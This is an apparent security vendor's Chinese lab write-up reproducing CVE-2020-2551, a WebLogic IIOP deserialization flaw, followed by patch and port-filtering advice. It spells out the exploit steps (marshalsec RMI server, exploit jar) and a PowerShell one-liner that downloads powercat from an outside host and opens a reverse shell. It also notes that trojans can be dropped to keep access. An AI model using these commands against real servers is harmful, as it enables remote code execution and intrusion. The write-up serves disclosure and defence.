漏洞復現:CVE-2020-2551 Weblogic IIOP反序列化漏洞
- 分類:行業洞察
- 作者:
- 來源:
- 發布時間:2020-07-22 14:20
- 訪問量:
【概要描述】Weblogic核心組件爆出漏洞,嚴重影響IIOP協議,導致序列化對象可任意構造,惡意代碼被執行。天地和興復現該漏洞,為您帶來安全警示!
漏洞復現:CVE-2020-2551 Weblogic IIOP反序列化漏洞
【概要描述】Weblogic核心組件爆出漏洞,嚴重影響IIOP協議,導致序列化對象可任意構造,惡意代碼被執行。天地和興復現該漏洞,為您帶來安全警示!
- 分類:行業洞察
- 作者:
- 來源:
- 發布時間:2020-07-22 14:20
- 訪問量:
WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
WebLogic最早由 WebLogic Inc.開發,后并入BEA 公司,最終BEA公司又并入Oracle公司。webserver是用來構建網站的必要軟件,具有解析、發布網頁等功能,它是用純java開發的 ,廣泛應用于政府、金融、電力、石油、智能制造等行業的網絡業務。
0x01 漏洞說明
2020年1月15日,Oracle官方發布2020年1月關鍵補丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等級為高危,CVVS評分為9.8分,漏洞利用難度低。
從Oracle 官方的公告中看出該漏洞存在于Weblogic核心組件,影響的協議為IIOP協議。該漏洞依然是由于調用遠程對象的實現存在缺陷,導致序列化對象可以任意構造,在使用之前未經安全檢查,導致惡意代碼被執行。通過分析,該漏洞的PoC構造與歷史漏洞CVE-2017-3241、CVE-2018-3191都有一些相似的地方,而后在構造PoC的時候也可以發現。
0x02 影響版本
weblogic 10.3.6;
weblogic 12.1.3.0;
weblogic 12.2.1.3.0;
weblogic 12.2.1.4.0。
0x03 環境搭建
Win7:192.168.121.129(虛擬機) jdk1.8/weblogic 10.3.6;
Win10:192.168.121.1(本機)。
環境搭建成功,weblogic默認端口為7001,訪問127.0.0.1:7001/console/login/LoginForm.jsp。
0x04 漏洞利用
利用的exp地址:https://github.com/Y4er/CVE-2020-2551。
exp.java如下,可以看到是調用了cmd.exe并執行了calc程序。
編譯exp.java,
javac exp.java -source 1.6 -target 1.6。
編譯完成之后用python啟動一個web服務,
python3 -m http.server 80。
然后使用marshalsec起一個惡意的RMI服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.121.129/#exp" 1099
開始利用
java -jar weblogic_CVE_2020_2551.jar 127.0.0.1 7001 rmi://192.168.121.129:1099/exp
成功執行了我們的命令彈出了計算器。
進一步利用:
因為Exp利用比較麻煩,因為每次都要修改exp.java并且還要重新編譯。對其執行whoami交互類的命令的時候并不回顯,所以只好進行反彈shell進行嘗試。
這里使用powershell進行嘗試,
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
這個網址需要上飛機之后才可以訪問,但是虛擬機里訪問不到。
這時將ps下載到vps上的web服務中,物理機監聽6666端口。
最終命令如下:
IEX (New-Object System.Net.Webclient).DownloadString('http://www.naturali5r.cn/powercat.ps1'); powercat -c 192.168.121.1 -p 6666 -e cmd
Shell反彈成功!可以看到執行whoami返回了虛擬機里的用戶信息。也可以讓目標下載并執行一個已經預定好的惡意程序,比如木馬,在metasploit中進行監聽,達到權限維持的效果。
0x05 防范及修復建議
防范
修改weblogic的默認端口號。
weblogic的默認端口是7001,假若想修改為8080,
操作步驟如下:
在config.xml文件中的添加<listen-port>8080</listen-port>。
修復建議
1.使用 Oracle 官方安全補丁進行更新修復。
Oracle Critical Patch Update Advisory – January 2020。
2.如果不依賴T3協議進行JVM通信,用戶可通過控制T3協議的訪問來臨時阻斷針對該漏洞的攻擊。
Weblogic Server 提供了名為weblogic.security.net.ConnectionFilterImpl 的默認連接篩選器,此連接篩選器接受所有傳入連接,可通過此連接篩選器配置規則,對t3及t3s協議進行訪問控制,詳細操作步驟如下:
l 進入Weblogic控制臺,在base_domain的配置頁面中,進入“安全”選項卡頁面,點擊“篩選器”,進入連接篩選器配置;
l 在連接篩選器中輸入:security.net.ConnectionFilterImpl,在連接篩選器規則中配置符合實際情況的規則;
l 保存后若規則未生效,建議重新啟動Weblogic服務(重啟Weblogic服務會導致業務中斷,建議相關人員評估風險后,再進行操作)。
0x06 參考鏈接
【1】https://blog.csdn.net/caiqiiqi/article/details/104509330/
【2】https://scriptboy.cn/p/cve-2020-2551/
【3】https://www.freebuf.com/vuls/227920.html

公司總部:北京市海淀區中關村軟件園8號華夏科技大廈三層
服務熱線:400-810-8981 / 010-82896289
版權所有:北京天地和興科技有限公司 京ICP備17065546號-1

掃一掃關注
天地和興微信公眾號